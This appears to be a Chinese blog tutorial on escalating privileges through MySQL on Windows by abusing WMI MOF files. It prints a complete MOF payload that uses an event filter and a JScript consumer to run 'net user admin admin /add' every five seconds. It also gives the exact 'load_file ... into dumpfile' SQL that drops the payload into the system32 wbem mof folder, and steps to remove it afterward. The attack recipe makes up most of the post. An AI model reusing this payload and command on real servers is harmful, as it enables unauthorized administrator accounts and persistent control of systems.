zoukankan      html  css  js  c++  java
  • mysql之mof提权详解

    原理解读:

    Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

    方法 1 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

    方法2 使用 IMofCompiler 接口和 $ CompileFile 方法。

    方法 3 拖放到 %SystemRoot%System32WbemMOF 文件夹的 MOF 文件。

    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

    注意:
    第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

    下面的代码是mof文件内容,默认添加一个admin的账户,可以自行修改

    -------------------------------XXX.MOF-----------------------------------------------------------

    #pragma namespace("\\.\root\subscription")

    instance of __EventFilter as $EventFilter
     {
     EventNamespace = "Root\Cimv2";
     Name = "filtP2";
     Query = "Select * From __InstanceModificationEvent "
     "Where TargetInstance Isa "Win32_LocalTime" "
     "And TargetInstance.Second = 5";
     QueryLanguage = "WQL";
     };

    instance of ActiveScriptEventConsumer as $Consumer
     {
     Name = "consPCSV2";
     ScriptingEngine = "JScript";
     ScriptText =
     "var WSH = new ActiveXObject("WScript.Shell") WSH.run("net.exe user admin admin /add")";
     };

    instance of __FilterToConsumerBinding
     {
     Consumer = $Consumer;
     Filter = $EventFilter;
     };


    -------------------------------XXX.MOF end-----------------------------------------------------------

    最近的MYSQL提权也是利用此法.
    1.
    找个可写目录,上传或新建mof文件


    2.
    执行sql

    select load_file('C:\www\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

    //注意这里C:\www\nullevt.mof是你上传mof文件的随意路径,但后面的那个路径是固定的

       

    注意已执行的mof会一直不停地执行,每隔5秒执行一次mof文件里面的cmd,昨天测试的时候放了个.mofC:WINDOWSsystem32wbemmof 从昨天晚上一直到现在还在每过5秒就执行次 加个用户,搞的我郁闷死了。。。

    解决办法:

    第一 net stop winmgmt 停止服务,
     第二 删除文件夹:C:WINDOWSsystem32wbemRepository
     第三 net start winmgmt 启动服务
     第四:完毕不会在执行了。

    C:WINDOWSsystem32wbemRepository 放的是储存库 我们执行的.mof都会被加入到这个库了。然后一直按脚本设置的时间执行。。 删除后 重新启动 会重建个默认储存库 这样我们先前执行mof就没了。

  • 相关阅读:
    ThinkPHP5+jQuery+MySql实现投票功能
    JQ input输入框回车生成标签,可删除,并获取标签的值
    php 使用 CURL 获取数据
    new String创建了几个对象
    java高级开发面试总结
    使用 Sublime Text 将含下划线的字符串批量替换为驼峰命名法格式的字符串
    Synchronized方法锁、对象锁、类锁区别
    利用Redisson实现分布式锁及其底层原理解析
    MySQL索引
    JVM常见面试题
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154629.html
Copyright © 2011-2022 走看看